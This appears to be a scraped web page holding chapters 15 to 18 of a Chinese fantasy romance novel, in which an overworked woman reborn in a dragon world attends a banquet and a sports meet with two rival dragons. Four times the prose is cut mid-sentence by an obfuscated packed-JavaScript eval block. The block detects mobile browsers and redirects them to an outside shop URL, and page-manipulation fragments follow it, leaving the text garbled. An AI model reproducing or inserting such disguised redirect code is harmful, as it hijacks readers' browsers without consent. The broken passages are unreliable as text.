“公主殿下，这边请。”管家恭敬地带她来到更衣室，“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760846|190145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣服城主已经在之前为你准备好了，是他特地去西部最大的城市拍卖买下来的。” 推开更衣间的大门，肖卷卷又一次被震惊。 她有想过，代表贾斑脸面的礼服会很华丽，但她实在没有想到，一条镶满了碎钻的裙子，居然可以做到那么轻。 兼顾美观与实用。这是龙界最特殊的材料，小鸟女仆帮她穿上这身礼服时，肖卷卷甚至有一种自己还是光着身子的感觉。 无论是布料、设计还是装饰，每一处都完美到无法挑剔。 这就是布伽辛区管理员至高无上的实力…… 红黑色的大裙摆礼服，穿在身上不会有任何不方便活动的地方，编好的头发上还稳稳地戴上一顶皇冠，肖卷卷成了货真价实的公主殿下。 果然，人靠衣装马靠鞍，肖卷卷不得不承认，这一套妆造下来，自己已经不是当初那个疲惫的牛马了。 “躺平真舒适……”虽然和贾斑沟通有些毛骨悚然，而且这条龙出了名的执拗，不过狂有狂的资本和实力，肖卷卷有些感叹，要是自己上班的时候，能遇到这样的老板，也不失为一件美事。 踩着高跟鞋走出更衣室，贾斑的眼睛亮了一下。 这身衣服简直为他的人类量身定制。果然，养人类的乐趣就在于给她喂好吃的，穿好看的。 “时间刚刚好，我们出发吧。”两人并行走向大门，身后跟着浩浩荡荡一群龙，这些都是他得力的干将。 一眨眼，金发男人变成了一只通体橙黄、发着金光的龙，他晃了晃自己的胡须： “坐到我的头顶。” 尾巴灵活地一卷，肖卷卷被甩了上去，稳稳当当落在了贾斑的头顶。 龙族基因瞬间觉醒，橙黄色的龙脸上的红晕在夕阳下不易被其他龙察觉到。 果然，没有龙能拒绝在头上顶一只人类。 身为当事人的肖卷卷，完全看不清贾斑脸上的表情。她紧紧抓着贾斑的胡须，生怕等会他神龙摆尾，又像宫修那样把自己甩下去了。 而贾斑呢，此时心花怒放，没空再管身后的其他龙是怎样的状态了。他腾地一下飞入高空，其他龙一下没反应过来，看到前面的老大没了之后，才陆陆续续地起飞。 城主过于激动，穿过了好几层云，回过神来才意识到自己的小弟跟不上，于是被迫降低了些。 ——坐在龙背上，带着红黑色荆棘玫瑰花皇冠，身穿如血落黑丝绒般晚礼服，棕黑色的头发透过金色的夕阳，肤若凝脂的肖卷卷，优雅地抬起手，指向他们即将要飞往的方向。 贾斑把指挥权交给了她： “抬头，挺胸，命令我。” “现在你是我的人，同时，我也是你的龙。” “自信点，你坐在龙界最大区域、最大城市的管理者头上，身后还跟着那么多手下。” “我可以向你保证，到了中部城市，没有人会比你的身份更尊贵，明白了吗？” “知道了。” 肖卷卷社恐是一回事，从小到大，她从来没有在关键时刻怯过场。 她知道，只要轻轻开口，她都声音就能传到每一个龙的耳朵里。 因为贾斑的身体，本身就是一个巨大的传声筒。 “所有龙，朝东南四十七度方向。” “启航！” 15. 没有谁能更高贵 和在肖卷卷面前表现出来的宫修不太一样的是，贾斑飞行的速度几乎比宫修快了一倍。 整个布伽辛区的龙军团以光速向中部区域飞去，到了晚上九点，肖卷卷和贾斑已经站在了前来迎接各路参加宴会的宾客的入门处。 “这边请……”城主夫人笑眯眯地伸出手，握了握贾斑的指尖。 看到身旁光彩夺目的肖卷卷，她的声音有些讶异： “呀！这就是您前一段时间看上的人类吗？虽然说状态是差了一点，不过这品相、这身姿……绝对是上品中的上品呢！” 其实肖卷卷从到龙界开始就有一种错觉，好像龙谈论人的时候，形容词都不太像是形容一个平级的生物。 比如眼前这位女士，她身为一头地位尊贵的雌性龙，对于自己的评价完全倾向于“外表”，或者说外部呈现的状态。 就好像……肖卷卷是贾斑的小猫一样，任龙豢养，任龙指挥。 “来吧，那么这位美丽的人类，请带着你的龙和我一起向里走。”正好肖卷卷在贾斑的头上也坐累了，屁股疼疼的，漫步在城堡之中，刚好给屁股上的肉少一些压力。 “哇——夫人，您城堡里的画好好看……”肖卷卷一边看一边感慨，原本她以为，龙界的审美和人界不太一样，大概不会有符合她审美的画作出现。现在看来不是这样的，只是目前为止她认识的几条龙，审美都很堪忧而已。 “请入座吧，你们是最后一位到的。”贾斑帮肖卷卷拉开了椅子，两人一同入座。金碧辉煌的大厅，一张巨大的桌子旁坐着很多龙和人类，一个人类通常身边会围着四五条龙，都是来照顾她的。 果然，像肖卷卷这样从人界误入龙界的人，算是这个世界中发生的一个奇迹了。其他的人都是生来生活在这个世界，从小养尊处优，习惯了各种龙对她们阿谀奉承，因此展现出来的架势和神态都和肖卷卷大相径庭。 肖卷卷神情自若地落座后，简单和城主示意了一下，拿起热饮先喝了几口暖暖胃。 而其他被簇拥着的人类最明显的一点，是她们的脸上都带着娇弱跋扈的神情，无论是对龙还是对和她们同样的人。 没错，就算这里不仅只有龙，她们还是自然而然地认为自己是餐桌上最珍贵的那一位，于是人类之间的交锋无处不在。 和肖卷卷想的不太一样，她原本认为，这里应该是一个非常温馨的场所这是一场人类与人类，人类与龙类，龙类与龙类的大宴会，大家其乐融融，围在一个餐桌上吃饭，顺便交流生活与乐趣。 果然那句话永不过时，有人在的地方——或者有龙在的地方，只要有社交，只要不是孤身一人，哪里都存在江湖套路。 肖卷卷与其他人类不太一样的神态——那种带着疲态的眼睛和嘎吱作响的颈椎，让她成为了身旁的一位不怀好意的人类嘲笑的目标： “这位小姐怎么了？脖子怎么吱嘎作响，还有这黑眼圈，怕不是没有得到很好的照顾，整个人身体素质没达标吧哈哈哈哈……” 别说，她说的还真是实话，只不过肖卷卷身体变成这样是因为高强度工作…… 可这位人类，明显没有注意到肖卷卷身旁那位压迫感十足的金发男人脸上不善的表情。 不仅人狂妄自大，智商也很堪忧，当着肖卷卷的面说这些，不就是在暗讽她的龙没有做好吗？ 果然，坐在肖卷卷旁边的贾斑脸上挂不住了。一阵凛冽的风吹过，那位人类还没有反应过来，身边的龙已经替她挨下这一掌。 “我警告你最后一次，同时也是警告这个餐桌上其他所有的人类。”金色头发的男人站了起来，他的指节有力敲击桌面，在这里，连中部城主都要给他面子，他还没有见过那么嚣张，敢直接挑衅他的人。 “这只人类是我养的，她身上的衣服，她每天的饮食起居，全部都是由我来负责，你们不认识她，不代表你们可以欺负她。” 没有人不知道布伽辛城区的这位雷厉风行的管理者，他的实力，他的财力都在万人之上。刚才那个挑衅肖卷卷的人类瞬间慌了，她身旁的龙不过都是一些小城的城主，还要靠贾斑和他们合作，以获得暂时的安宁和庇佑。 刚才心里的自尊作祟，毕竟她看得出来，肖卷卷身上的衣服穿的那么好看，心中有些嫉妒。 “明白了吗？”周围的龙都不敢说话，刚才那个人类也被提溜了起来，麻利地和肖卷卷道了歉。 “对不起，不该这么说你……” 肖卷卷摇了摇头，她本来就不想惹事生非，在人界，肖卷卷不是一个喜欢和别人吵架的人。到了龙界，日子过得那么顺心，除了和几条莫名其妙的龙发生过一些口角之外，肖卷卷没和任何人发生争吵。 “没关系。”那个人类的鲁莽和肖卷卷的大度形成了鲜明对比，果然还是要上过班的人才会懂社畜的心酸。 肖卷卷插起了餐盘里的肉，没上过班的人就是活力四射，连说话都比她多了这么多底气。 像当初她在公司工作的时候，老板说什么就是什么，一点不敢反抗。 这个时代工作那么难找，谁能想到自己猝死以后还能过上这样的神仙日子。 而另一边，不仅贾斑为那个人类说的话而生气，在楼上依旧被监视着的宫修，听到这句话后，瞳孔也变得通红，快要滴血。 他的人类，怎么容许别人乱去评价！ 况且他认为，肖卷卷是世界上最好的人类，虽然不如其他人类那样养尊处优，手并不细柔，身上也比其他人毛糙的多，就连头发丝都开岔，但他依旧很喜欢肖卷卷，她的善良、勇敢、智慧、谋略，这些是那种从小被养尊处优养大的人类所不具有的，也不是一个天生高位的人，能在她的阶层里所接触到的。 这必须要一点一点靠自己的努力往上爬，才可以学会。还得善良，才可以像肖卷卷这样，将它表现出来。 “喂，你好歹说句话呀！”刚刚咬下一口肉的肖卷卷又被贾斑点了名。金发男人一双薄唇，微微勾起嘴角，眉毛也狂放不羁地扬了扬。 他直接伸手，把肖卷卷揽在怀里，自信地靠着椅背。除了主家以外，肖卷卷和贾斑坐的位置是权力最高的人才能坐的席位。 “就这样被其他人的欺负吗？你可是我的人。”贾斑随手打了个响指，刚才说坏话的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760847|190145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人身边瞬间出现了一个小坑。 “自信一点，我的身份不需要再和你强调了吧？如果你底气不足，可以回城堡看一下墙壁，知道你的龙有多厉害。” 贾斑养人就是这种态度，只要是他要的，或者是他的人要的，其他人一律不许抢。人类霸道，他比人类还霸道，豪取强夺这种事就应该是像他这样的大恶霸所做出来的。 贾斑不在乎别人怎么评价他，他想要的东西一定会拥有，这就是他的人生真理。 说实话，虽然这一点很容易让其他人诟病，肖卷卷也并不太喜欢那么强势的人，毕竟自己就是这样被他强势地绑来的，但生活在这样的人身边，也许内耗的人心里真的会有所改善。 可惜肖卷卷本身就不是内耗的人。吃完盘子里的东西，肖卷卷自在地靠在贾斑身上，和他一起审视着面前已经变得听话的人类和龙。 肖卷卷只是不愿意吵架而已，不代表她不会吵架，也不代表她是一个一直被那个人拿捏的软包子。 肖卷卷有自己的为人处事方式和逻辑，不会因为任何事而改变。 “我们是来做客的，所以呢，刚才我知道这些话原本不应该由我来说，该由城主和大家讲清楚，我这样擅自发言有点不尊重。所以刚才，由我的龙替我说了本该由我说的话。” 贾斑的话的确给了她一部分底气，包括在二楼保驾护航的宫修。 可是啊，肖卷卷的底气不来源于任何一条龙，也不来源于任何雄性。 她的自信，源于她自己。 “你们要知道，如果这儿发生了什么意外，所有东西被重新洗牌，我们大家都从零开始。”慢悠悠整理着面前的东西，肖卷卷那么镇定，又那么自信。 从她嘴里说出来的，是这样自然又恐怖的话语。 “你们绝对活不下去，而我可以。” 她没开玩笑，在龙界，只要没有来自龙的直接攻击，肖卷卷的存活概率比其他人类高百分之八九十。 她不需要谁给她撑腰，肖姐不是等闲之辈，利用宫修的保护、利用贾斑的地位，不过是依附于其他雄性的菟丝子。 这本质上和那些人类没有任何区别，无非是比谁找到龙比较好，谁找到了更好的靠山。 肖卷卷不屑于这样做，高贵或低贱，她要从自己手中拼出一条路。 “我不想因为你们的一两句话就生气，随后受你们摆布。同时，我的话放在这里，明天的奖牌，我们要全包了。” 说完这句话，肖卷卷站了起来，将手搭在自己的龙的肩膀上。 她要指挥她的龙，或者配合她的龙获得胜利。 “听到了吧？明天我们全包。”金发男人甩了甩头，挡在肖卷卷身后，二楼的宫修也跳了下来，狠狠瞪了这些人类一眼。 “干的不错，不愧是我的人。”贾斑吊儿郎当地把手支在肖卷卷身后的墙上，“以后就保持这样的态度，没人敢反抗你。” 又是我的人，肖卷卷真害怕自己哪一天彻底对这种称呼免疫。 “记住了，在这儿，”贾斑打了个响指： “我的公主殿下，没人比你更尊贵了。” 16. 肖姐爱公平竞争 “知道了。”在外面要给自己的龙一点面子，肖卷卷没有直接反驳他。 其实和不喜欢其他人把人类和龙分为三六九等一样，肖卷卷也不喜欢贾斑说出自己比谁更高贵之类的话。 “人类就是人类，龙类就是龙类，将一条条生命分等级这种事，本来就是荒唐的。” 回到房间后，肖卷卷拉住贾斑的衣袖，踮起脚轻声在他耳边说。 为什么不大声说？不知道为什么，肖卷卷面对贾斑的时候，总感觉整个人心虚地要命，讲话也没什么底气。 “总之，我不喜欢这样。” “呵。” 霎时间，肖卷卷的手腕被一只大手捏住合拢，重重地按在墙上。 贾斑的一只手，可以稳稳把住肖卷卷的两只手。昏暗的房间里，只剩两个人均匀的呼吸声。 “你还没有权利命令我怎样。” 啤酒色的眼眸闪着可怖的光，贾斑偶尔露出的善意，让肖卷卷放松了警惕，他其实并不是一条好说话的龙。 不然肖卷卷现在也不会在这里了。 “知道了。”但好歹，肖卷卷清楚现在的贾斑不会伤害自己，心也算是放了下来。 她甚至大胆地揉了揉这条龙的脑袋，贾斑的眼神一下清澈起来。 被豢养的人类……揉脑袋了？ “我说你呀，也太暴躁了。”肖卷卷叹了口气，“你这样动不动对我动手动脚，我会害怕你的诶。” “明明也是一只温柔的龙来着……” 贾斑的本性并不坏，只是龙凶了一点点。 从刚才不想看着自己的人类被欺负，到就算是纵容，也默认了只有肖卷卷才可以欺负别人，其他人不允许骑到肖卷卷头上来。 再加上虽然他天天叨叨着要杀了宫修，宫修现在却还是好好地活在这个世界上。 不能对敌人手下留情，肖卷卷明白，她不应该放松自己的警惕。 但在自己面前的，毕竟都是一群龙，在肖卷卷眼里没什么一样。 窗外，一只眼睛红彤彤的黑龙正一下不眨眼地盯着屋子里的一人一龙，宫修整个龙以一种极其诡异的姿势吊在窗户旁。 可恶……他的人类正受到非人的对待！ “决斗吧贾斑——”话刚喊出声，宫修就被管家龙拖走了。 “噗。”肖卷卷忍不住笑了一声，啊，龙什么的，有的时候也蛮可爱的嘛。 “喂，你真的很喜欢那条黑不溜秋的龙？”贾斑突然出声，吓得肖卷卷浑身颤抖了一下，“啊，啊你说他？” “嗯……”贾斑有些扭捏，这是平时的他绝不会出现在脸上的神态： “好像每次他一出现，你的目光就随即追了过去。” 贾斑不明白，自己是以一种怎样的心态问出这句话的，明明自己从独立后就一直保持着自信。 他要的人，他得到了。他在意的人的心，似乎不在他这里。 怎么办，想到这一点的贾斑，居然有了一点难过的心情。 与此同时，肖卷卷也沉默了。 她知道，无论之后遇到多少龙，她再也不会像当初看到宫修那样震惊。 那么好看的一条龙，遍体鳞伤地躺在那里，心里平白无故地产生了一种悲怆的感觉。 好像鲸鱼在海底安静地哭泣。 居然已经到了别人都能看出来的地步吗？肖卷卷无奈地摇了摇头，这大概不是因为爱吧。 只是对同伴的关心罢了。 “没什么。”没有等到肖卷卷的回答，贾斑兀自起身，招呼小鸟女仆进来。 “帮她更衣，早些睡吧。” 今天也累到了呢。他又一次叹气。 遇到肖卷卷后，自己的生活变得有趣了不少，不再那么单调了，可为什么叹气的次数变多了？ 也许爱就是这样的东西，贾斑不懂，宫修不懂，肖卷卷不懂，在这个内卷的龙界，人和龙都被分成三六九等，在不平等的条件下谈爱，很愚蠢，很幼稚，很不可思议。 这样的环境是长不出堂而皇之可以说出口的“爱”的，这样长出来的，只有雨天石阶上的苔藓，菌类上落下生长的孢子，和无边无际握不到任何一个人的手的安全感。 肖卷卷躺在床上，换下华丽的衣服，这一天好像过得很快。 来龙界的每一天都很充实，自己不愧是珍惜物种，终于体会到在人界从来没体会过的受欢迎的感觉了。 这真的是自己想要的吗？肖卷卷不清楚，肖卷卷不想清楚。 她曾经认为，自己的一切厄运都来自于别人的地衣。她不够好看，不够受欢迎所以没有人可以帮她，也没有人愿意帮她。 但没有人帮的日子，也走过来了，她好像并不太需要这样的帮忙。 为什么，自己的心跳动的如此厉害。 第一次有一个这样有魅力的男性，对自己抛出橄榄枝。他明明白白地说着他喜欢自己，明明白白地偏爱着自己。虽然知道不是同一个物种，这样的爱大概说明不了什么问题，自己大概率还是像以往一样，在魅力方面没什么改观。 可是，从心脏的跳动来看，肖卷卷，你承认吧，你就是会因为这样的事牵动情绪。 说着什么不在乎外貌，不在乎那些受欢迎的人，做好自己，别人自然会来爱你。 真的吗？被子里发出一声呜咽，肖卷卷翻了个身，把自己裹在被子里。 都是骗人的，都是在骗自己…… 她也想被别人爱着啊……并不是就缺少那一份爱，并不是没有了爱就活不下去。 果然，这样的温暖，足以让任何一个人流泪。 天渐渐黑了下去……不对，天本来就是黑的，只是有各种各样的影子，投到了肖卷卷的身上。 那是窗外属于龙的团建，他们围在一起唱欢快的歌。肖卷卷止住眼泪，下床踩着拖鞋，好奇地望了过去。 “这是……” 好欢快的歌谣，听了能让人忘记一切悲伤的事物。 肖卷卷逐渐入了迷，就这样站在窗边。月光温柔地照了进来，她沐浴着雪白的光，嘴角不自觉地露出温柔的微笑。 啊，好久没有这样看月亮了呢。 …… “呼呼呼！你的人类昨天晚上哭鼻子了吧？”第二天清晨，照常咋咋呼呼，一条龙拍了拍贾斑的肩膀。 “嗯？”贾斑低头查看肖卷卷的脸，却发现肖卷卷一直在回避。 “哪有这样盯着女孩子的脸看的……”昨天晚上自己究竟在多愁善感什么啊……肖卷卷非常后悔！ “我看看，你是不是悄悄掉小珍珠。”贾斑笑了起来，他爽朗的笑声回荡在整个大厅里。 “没有！那只是没睡好！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760848|190145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”肖卷卷要脸。 说这话的时候，她抬起头，和一只生气炸毛的小猫一样看着贾斑。 “嗯？嗯。”贾斑趁机看到了她的脸，心下了然。 “好，龙界百年一度的运动会第十万零三十二界，现在开始！” 好家伙，这运动会对于肖卷卷来说，还是一生一次的。 随着发令枪一声枪响，贾斑利索地变幻为龙形态，用尾巴垫起肖卷卷，勾到自己身上，然后光速起飞。 “冲啊——”运动会开幕式，没有领导和主办方的讲话，第一个项目便是在开幕式上冲向领奖席，拿席位上的奖品。 跑的快的当然拿的多，肖卷卷一个人抢了一半。 “真的没问题吗……”看着手中满满当当的东西，肖卷卷也有点不确定了。 感觉自己怪像强盗的。 “没问题，只要你有本事，搬空了主办方都得夸你力气大。”本来就是为了社交和让大家开心一下，炫耀炫耀人才举办的活动。就和现实世界里给猫猫办的运动会那样，猫吃两个罐头怎么了，不是很正常吗？ 再说了，给猫办的运动会，怪猫拿的多，别的龙知道了要笑死这个主办的。 “放心拿，你拿不完。”贾斑霸气地甩了甩自己的头，“就是给你准备的。” “那我不客气了。”于是剩下的那些，肖卷卷也一起打包带走： “不能浪费不能浪费……” “啊！！”一个坐在龙头上的人类随后赶来，看到空荡荡都桌子惊叫一声：“礼物呢？怎么没了？！” “被我们拿走了。”贾斑得意地哼哼了几声，他就知道，他的人类坐在他的头上，一定会是这个世界上最幸运的人类。 “可恶！坏龙！跑的那么慢！”骄横的人类狠狠打了两下自己坐着的龙，被打的龙一声不吭，虽然这点力气对于龙来说也就挠痒痒，一点都不疼，但被自己心爱的人类教训，还是有些难过的。 自己的人类和自己一点都不亲…… 肖卷卷也看不下去了，明明龙都那么努力地逗她开心，甚至做出了一系列很不符合龙界优雅动作的行为，活蹦乱跳当小丑，女孩还是没有笑起来。 “真是的……我以后不要来运动会了！” “你最好是。”肖卷卷瞪了她一眼，算是警告。 这样的人她绝不惯着，欺负对自己好的龙算什么本事，再怎么样也不能拿无辜的龙泄怒撒泼。 “本来还想分你几个的，现在看来，完全用不上了。” 肖卷卷喜欢公平竞争，喜欢每个人都拿出真本事，好好应对无论是考验还是其他比赛。 公平，公平的天平永远不往她这一侧倾倒。 就是因为她什么都没有。就是因为别人或多或少都自带几个砝码。 所以她才赢的那么艰难，或是说，她才输得那么彻底。 命运的一切都标注好了价格，唯独公平。 公平像个笑话，只在说笑的时候才会在人们的口中出现，除此之外，什么都不是。 “唔？”才参加完开幕式，莫非自己的小人类累了？ 看着兴致不高的肖卷卷，贾斑脸上骄傲的表情出现的频率也减少了好多。 他开始反思，自己是不是真的和那条龙骂的一样。 “将一个人强行绑在自己身边，尤其差劲。” 17. 我的龙们要战斗 这次真的是贾斑想错了，肖卷卷并不是因为他难过的。 恰恰相反，看到贾斑怀疑自己的样子，肖卷卷拍了拍自己的脸，强行让自己回神兴奋起来。 “哇！我们拿到了那么多东西！”她扯了扯贾斑的胡须，“太厉害了吧！” 贾斑抬起头，一双明亮有神的眼睛专注地望着他，他的心跳漏了一拍。 怪不得那么多龙喜欢养人，人真的很通龙性啊。 尤其捡来的流浪人，看到自己的龙不高兴了之后，居然会主动安慰，性格简直不要太好。 “你想要的话，今天全部的奖品都是你的。”贾斑逐渐恢复自己潇洒的模样，做出了自己标志性的甩头发的动作。 为了让自己的龙打起精神，也为了让自己打起精神，肖卷卷左右看了一圈，最终锁定了比速度区的那个奖牌。 “我想要那个奖牌，那个奖牌上面的龙很可爱！” 其实是因为那个奖牌是最大最圆的，肖卷卷对于圆形的东西情有独钟，包括但不限于圆圆的金币、圆圆的扭蛋、圆圆的龙眼睛。 “好吧，虽然你选了一个最没有性价比的礼物，但只要你喜欢，拿下也不是问题。”贾斑傲娇地仰了仰头，“坐到我头顶。” 他这一举动也让周围的龙都吃了一惊，从前布伽辛区的管理员什么时候有兴致和他们一起这样玩了？也正是因为他不参加，所以奖品才能几乎平均地落到其他龙的手里。 只能试一试，看看能不能超过他了…… 贾斑之所以能成为所有龙听到都闻风丧胆的城主，之所以能成为这个世界至高无上的管理者，就是因为他绝对强悍的实力，谁都不能超过。 发令枪响的那一秒内，其他龙用了十几微秒的时间反应，而他的起步几乎和发林香响的那一刻重合。 “冲啊——”肖卷卷大咧咧地往龙头上一跨，潇洒的像古代的女将军： “朝终点线进军——” 龙界的跑步比赛是以公里为单位的，一百公里内算短跑，而贾斑最擅长的恰恰就是短跑。 因为他性子急，通常不等对面的人说完就匆匆忙忙做事。 所以短跑跑的尤其之快，肖卷卷还没反应过来呢，这人和一颗炮弹一样冲出去了。 “嗷——我的口水——”肖卷卷张着的嘴喷出的口水，全部浇到了贾斑的背上。 “多不讲卫生。”帅气地甩下肖卷卷之后，贾斑还擦了擦自己的龙背。 “咯吱咯吱咯吱……”听到肖卷卷磨牙的声音，贾斑吓得弹射起飞： “你怎么了？听说人类磨牙是将死之兆，天呐，我刚才飞得太猛了吗？” “闭上你说吉祥话的嘴！！”金发龙被强行闭麦，肖卷卷踉踉跄跄从地上站起来。 哕，有点晕龙。 …… “贾斑！我要这个！” “贾斑！我要那个！” “贾斑！我要……”所有奖项，只要是肖卷卷报出口的，三分钟之后，贾斑就会捧着奖品出现。 怪不得是龙界第一卷呢，躺平龙哪能做到样样精通，除了脾气差了点，肖卷卷目前为止还没发现贾斑身上的弱点。 “你要什么？”贾斑扬了扬头，向肖卷卷挑眉： “快点说，等会被其他人抢走了，可不要哭鼻子。” “才不会！”肖卷卷恶狠狠地瞪了贾斑一眼，“我要那个！” 贾斑几乎没有弱点，但那个项目，是比谁能把这块万能材料的温度加到最高。 万能材料，顾名思义是沸点最高的材料，无论多高的温度它都不会汽化消失不见。 所以也经常用来当龙们比赛的工具。 “这个……”这个贾斑倒是需要犹豫一下了，毕竟他的主要能力在攻击速度和力度上，温度这一块…… “卷卷——”不远处的宫修一声怒吼，作为一条合格的龙，他每时每刻都在关注着自己人类的精神状态和心理状态： “卷卷——这个我可以——” 啊，多么美妙的项目啊……宫修此时已经顾不得什么身为龙的尊严了，作为一条三天没摸到一下自己的人类的龙，不疯才不正常呢。 “啊！是宫修！”肖卷卷的眼睛也亮了起来，她好久没有看见这条黑乎乎的龙了！ “贾斑！这个项目让宫修来帮忙吧！” “怎么可——”贾斑想也没想，就直接开口打算拒绝肖卷卷。 理由很简单，把这条龙放出来，就会抓不抓的回去还是个问题。 “可是我想要奖品……”看出贾斑心中所想的肖卷卷趁热打铁，“拜托了，我一生当中最想拥有的，就是这个金鸡蛋！” 此乃谎言，肖卷卷最不喜欢的奖品就是这个。 为了能见到宫修……忍辱负重……嗯。 “真的？”贾斑眼睛向左斜，看了一眼肖卷卷，又把眼睛往右斜，看了一眼宫修。 这俩人脸上露出了几乎一模一样的狡诈笑容。 “哈！有意思，你们去吧！” 一个金鸡蛋而已……愚蠢的人类就是会因为这样的东西而感到开心，贾斑已经完全在说服自己的道路上一去不复返了。 他忽略了自己为什么会觉得人类开心比把她留在身边更为重要，也完全忽略了内心不自觉地考虑别人的感受这一行为在名为“贾斑”这一生物上发生的合理性。 总之，能看到她发自内心的笑容，真是太好了。 “好耶！！”完全是因为又一次见到宫修而快乐，肖卷卷整个人扑在了宫修长长的龙身上，用自己的脸一边蹭他的龙鳞，眼泪一边涌了出来： “太好了宫修，我又一次见到你了……” 万语千言都不如此时一人一龙的哽咽，那么多龙，肖卷卷还是最喜欢和宫修待在一起。 和他待在一起，身体上不会有任何排斥的反应，她非常自由。 “喂，你们两个这样哭，感觉真像一对苦命鸳鸯。” 从来没听过的声音，肖卷卷确定自己不认识这条龙。 抬起头，眼前的这条“龙”凤眼狭长，一头浅灰的头发加上……黑色的瞳孔，眼神似有若无地飘到肖卷卷身上时，她止不住地颤抖了一下。 龙界不友善的龙怎么那么多啊！！ 事实上，肖卷卷的确是个倒霉孩子，龙界那么几个脾气最古怪的龙，全被她碰上了。 “你就是肖卷卷？”肖卷卷心想，自己原来那么出名啊。 “正是在下。”一抹眼泪，肖卷卷朝那条“龙”的方向望去，“你是？” “我是谁不重要，反正你以后会知道的。”灰发男人轻笑一声，“你这样为一条龙哭泣，真是太不合规矩了。” “轮不到你评价。”好冲的语气，肖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760849|190145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卷卷已经厌倦了这几只臭脾气龙了。 “哈哈，期待下一次你再遇到我时，还可以这样自信。” 奇怪的“龙”挥了挥手，朝另一个场地走去。遇到贾斑的时候，他点了点头，意外的是，一向目中无龙的贾斑居然回应了他。 他们认识？ “肖卷卷，看我”好几天没出来跑动的宫修，闻到肖卷卷身上那股专属于人类的清香时，整条黑乎乎的龙都红了。 “三，二，一。” 这个金鸡蛋意外的有很多人类喜欢，也是，其他奖品要不就是巨大的钻石摆件，比人还高；要不就是人根本不感兴趣的琥珀制品，丑丑的，完全不符合人类的审美。 肖卷卷是个例外，她对于那些稀奇古怪的大玩意儿情有独钟。 相反，对于这个金鸡蛋，肖卷卷的反应倒不激烈。 “呼——”宫修猛吐了一口火焰，他的火用一般的水根本灭不掉，必须得用他自己的口水才能浇灭。 或者采用特质的灭火器。 万能材料熊熊燃烧，这是第一个把它烧成液体的选手。 恢复了人形态的宫修得意洋洋地望着肖卷卷： 怎么样？我厉害吧？快夸我快夸我！ “太棒啦！”温柔的眉眼，微扬的嘴角，肖卷卷的长发在风中飞舞，温暖的手指插入宫修的黑发中，轻轻揉了揉。 今天都肖卷卷穿的依旧是昨天的战袍，红黑相间，和宫修意外地很般配。 他看着面前的肖卷卷，不知道为什么，鼻子有点酸。 在很久很久以前，宫修也是有妈妈的。 妈妈就和肖卷卷一样，会这样轻轻地揉着他的脑袋，却又一边嗔怪着，他是个小坏蛋。 妈妈后来去哪里了……没有龙知道，宫父亲只是告诉他，妈妈去了很远的地点，以后都不会见到了。 大概是早就死了吧。 “金鸡蛋。”肖卷卷不明白为什么，面前的龙突然别扭了起来，递鸡蛋的时候也不看她的脸了。 “自豪地把它放在手上把玩吧！切。”肖卷卷越是要看他的脸，他越不给肖卷卷看。 “谢谢你呀宫修，看见你好好的，我真是松了一大口气呢。” 肖卷卷戳了一下他的脸，火还在烧。 “你们对我都好好，如果说一开始来到这个世界，我真的想好好摆烂，抛掉脑子放弃一切的话，那么现在，我也想多为你们做些什么了。” 这群龙脾气太差，名字太难听，但意外的，并不是无药可救。 至少比肖卷卷在人界遇到的人要好很多。 “你是人啊，我们当然会对你好了。” 宫修说的理所应当： “因为我们天生就喜欢人，天生就会为了人去战斗。” “这是理所应当的吧。” 肖姐的龙可都是好战的龙，这点让她也很头疼。 “但是啊，在付出的过程中，总不能真的完全不求回报吧。”肖卷卷叹气。 “你们看，我也手无缚鸡之力的，区区一介弱女子～” 宫修看着自己有的时候有些莫名其妙的人，说着说着就要唱起来了。 “你们不需要我做些什么吗？” “你的人在这里，不就是对我们最好的抚慰了吗？” 宫修睁着自己无辜的眼睛，天真地看着肖卷卷说道。 18. 存在本身是意义 “啊，要求真低……”肖卷卷在沉默了好一会后，奸笑着对宫修说出这句话。 一半是心里话，一半则是对他的嘲讽。 居然这样就能够满足，该说不说，真是内卷的龙界呢…… 